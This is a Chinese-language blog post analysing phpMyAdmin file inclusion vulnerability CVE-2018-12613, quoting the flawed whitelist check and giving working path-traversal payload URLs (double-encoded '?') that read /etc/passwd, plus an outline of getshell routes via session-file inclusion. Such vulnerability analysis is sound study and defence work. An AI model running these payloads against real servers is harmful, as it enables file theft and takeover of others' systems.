[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)


0x00 簡介

影響版本:4.8.0——4.8.1

本次實驗采用版本:4.8.1

0x01 效果展示

payload:

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

0x02 漏洞分析

漏洞產生點位於:index.php文件54—67行

可以看到如果要包含文件成功,必需條件有5個:
1、不為空  
2、字符串  
3、不以index開頭  
4、不在$target_blacklist這個黑名單中  
5、Core::checkPageValidity()函數為TRUE

首先查看$target_blacklist變量的值:

然后進入條件5所述函數中。此函數位於:libraries\classes\Core.php文件443—476行:

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
 
    if (in_array($page, $whitelist)) {
        return true;
    }
 
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
 
    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
 
    return false;
}

可以看到在第一次$_page出現時即可繞過。其含義為截取$page 第一個'?'之前的部分,如果在白名單中,即返回TRUE。接下來查看白名單的值:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

隨便選中其中之一即可。此處選中 "tbl_sql.php" 。

這里着重看下這個問號:

$_page為 以?分割然后取出前面的字符串再判斷值是否存在與$goto_whilelist某個數組中。

這個判斷的作用是,如果target值帶有參數的情況下,phpmyadmin也能正確的包含文件。

也正是因為phpmyadmin團隊考慮的太全面了,才會出現此漏洞......

后面又將$page參數用urlencode解碼再進行以?分割取出前面的值做判斷。

那么構造payload:

/index.php?target=tbl_sql.php%253f/../../../../../../../../etc/passwd

這里的%253f是問號的雙重url編碼

0x03 總結

目前有三種getshell的方法,第一個是上傳sql文件,然后包含mysql的sql文件,第二個是開啟general_log來完成getshell

不過這兩種思路都有些繁瑣,下面復現下第三種思路:

首先在sql中select ‘要執行的代碼’:

然后包含phpsession文件:

要包含session的文件名可以在cookie中的phpmyadmin參數找到。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM